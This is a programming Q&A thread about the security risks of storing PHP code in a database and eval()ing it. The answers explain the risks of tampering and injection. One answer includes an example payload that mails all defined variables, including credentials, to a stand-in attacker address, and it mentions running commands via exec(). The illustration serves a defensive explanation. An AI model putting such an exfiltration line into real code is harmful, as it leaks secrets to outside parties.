Is storing PHP code in a database, and eval()ing it at runtime, insecure?
I've built a program that stores, retrieves, and eval()s
code from a SQLite database.
Before I get jumped for my bad coding practices, let's just treat this as a theoretical and pretend that I have a good reason for doing so.
All other considerations aside, and assuming开发者_高级运维 that user input is not a factor, is there a security risk inherent in storing PHP code in a DB and running it with eval()
?
Clarifications:
- I am not
eval()ing
user-submitted content. - The SQLite DB file is in the same directory, and has the same security applied to it, as the rest of my files.
- Please no comments on performance, caching, etc. I'm aware of all that.
eval() in itself is not inscure. It's just bad practice, unclear and opens up for a whole bunch of bugs and security related issues.
Even if user-submitted data isn't being stored in your database, you're still providing a way to have code stored in the database be executed even if you didn't put that code there. If someone were to gain access to your database server, they could potentially do worse things than drop your database by modifying the code it stores, like deleting any files that the PHP script has write access to.
Yes. If I can inject something into your database then I could possibly execute it on your server through the eval.
Are you trying to use the database as a hashtable of functions? So you can call a piece of code depending on some key evaluation. The security problem I see here, is the database may have other API exposed somewhere to populate it. Without you knowing/explicitly doing it, some key,value pair may be introduced in the database. If you used a hashtable of function instead, someone need to make a commit in your code repository to change a function. So now you need to protect the DB as good as your code's repository.
You're letting the database run any PHP code it wants as whatever user the PHP is running as. Of course this is insecure.
eval()
is not inherently insecure. But it's secure only as far as the code it evaluates is safe. So we could come up with an example of code that does something bad, suppose that there's some way that code got stored in your database, and boom.
Code that is stored elsewhere is not part of your project, not code-reviewed, not tracked in git, and not unit-tested. The code is basically not evaluated from a security perspective, so there's no assurance of security. In other words, from a Quality Assurance perspective, it's a weak quality plan, since code security is part of code quality.
Anyone with access to your database can modify code, and then that code is executed, I assume without any review. The code has no access restrictions; it can reference and even modify variables within the application that calls it. So the question is how is the code in your database changed? Who has access? What is the code review process? What is the testing process?
In addition to SQL injection that could change the PHP code in the database illicitly, there's also the security of whatever authentication you use for users before they can make authorized changes to the code. I'm supposing your app has some interface for changing code in the database through a web interface.
You asked for evidence, by which I guess you want an example of code that could do something bad if it were evaluated.
If I can arrange for something like the following code to be stored in your database, and eval()
that code, I can get a lot of information about your application. E.g. your database password, your authentication methods, the version of the framework you use... all sorts of things.
mail('attacker@example.com', 'Mwa ha ha', print_r(get_defined_vars(), true));
There are similar functions like get_defined_functions()
too. Or even return its own source code with open(__FILE__)
. An attacker can quickly learn where there are other exploitable security holes in your code.
And then there are various ways PHP code can get information about your server, or make changes to your server. Combine eval()
with code that uses exec()
and you can run any command on the server. At least it's running under the uid the http server runs as -- which I hope is not root.
精彩评论